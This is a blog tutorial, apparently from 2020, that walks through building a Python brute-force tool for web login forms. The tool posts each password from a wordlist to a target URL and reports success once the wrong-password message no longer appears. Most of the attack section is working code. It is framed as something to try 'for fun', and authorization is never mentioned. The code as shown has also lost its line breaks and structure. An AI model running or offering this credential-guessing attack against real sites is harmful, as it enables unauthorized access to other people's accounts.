Brute-force Attack with Python!

Tanvir Hossain Antu
Dev Genius
Published in
4 min readJun 7, 2020

--

In 2007 when I was in class 7 for the first time, I saw Hackers movie. Angelina Jolie and her boyfriend were killing everything. That day I realized I don't wanna be Peter Parker. I wanna be Angelina’s boyfriend. Maybe because the hacker was cool also it’s more realistic to become a hacker rather than get a spider bite and become spiderman. After that age when I grow up, I start learning programming with passion. But in my case when I only learn but not able to do or create something cool that I like it’s the worst thing. I may create a reporting dashboard or some POS system but that’s not what I want, That’s what my client wants. When you create something that you want then your learning becomes fun and enjoyable.

What is a Brute-force Attack?

A brute force attack is a popular cracking method: by some accounts, brute force attacks accounted for five percent of confirmed security breaches. A brute force attack involves ‘guessing’ username and passwords to gain unauthorized access to a system. Brute force is a simple attack method and has a high success rate.

Create your own brute-force with python!

Let’s start making our own brute-force application. First, create a .py file and name it whatever you want. I named my one bruteForce.py.

After that, we need to install requests and we can simply install it by

pip install requests

Now it's coding time.

import requestsurl = input("Enter Target Url: ")
username = input("Enter Target Username: ")
error = input("Enter Wrong Password Error Message: ")
try:
def bruteCracking(username,url,error):
for password in passwords:
password = password.strip()
print("Trying:" + password)
data_dict = {"username": username,"password": password, "login":"submit"}
response = requests.post(url, data=data_dict)
if error in str(response.content):
pass
elif "csrf" in str(response.content):
print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
exit()
else:
print("Username: ---> " + username)
print("Password: ---> " + password)
exit()
except:
print("Some Error Occurred Please Check Your Internet Connection !!")
with open("passwords.txt", "r") as passwords:
bruteCracking(username,url,error)
print("[!!] password not found in password list")

Explanation!!

At first, we need to import requests. because Requests allows you to send HTTP/1.1 requests extremely easily. After that, we simply need the input of the target URL and target username. Also, we need the error message of every wrong try.

Error Message !!

Look carefully at this image. Here for every wrong try, it throws the wrong username or password message. We need that message. So now we have captured 3 things.

  1. Target website.
  2. Website login username.
  3. Error Message.

Now we write a function called bruteCracking which calls three-parameter named username,url,error. Also, it calls with a password list file. now we need to create a passwords.txt file that contains all possible lists of passwords.

with open("passwords.txt", "r") as passwords:
bruteCracking(username,url,error)

Here we are simply calling bruteCracking function with reading passwords.txt file. Now in our main bruteCracking function, we create a for loop to get passwords from our given password list. To remove white space, we used strip() function. Now we print that password we are trying against that website. After that, we create a dictionary for sending requests.

data_dict = {"username": username,"password": password,                           "login":"submit"}

Here username and password is simple but “login”: “submit” element is new

For that, you need to inspect that login page. If you look cleary this inspect you will find button type=“submit” and name=”login”

<button type="submit" name="login" class="btn btn-success btn-labeled pull-right">Sign in</button>

Actually your auto-triggering that login button for every try. Now you will send your dictionary with request post method. When You send that it will return you a response. So we put that response in a variable called response.

if error in str(response.content):
pass
elif "csrf" in str(response.content):
print("CSRF Token Detected!! BruteF0rce Not Working This Website.")
exit()
else:
print("Username: ---> " + username)
print("Password: ---> " + password)
exit()

Now if we will find that error message is in response.content. We will simply pass it and try the next password because it's not our password. But if we find CSRF in that response. content that means WE ARE DOOMED!! Our application will not work on this website. What is CSRF Token Please Google it. Now if it did not return any of this that means it’s a success.

Congratulation!!! We find username and password.

It was a very basic brute force attack application using python. Using this, you may have some fun. You will find some inspiration to learn more. Happy Coding.

If you want this full code please check this Github Repo.

--

--

Software Engineer. Worked with Django, FastAPI, Python, web-security and various projects with client-server architectures.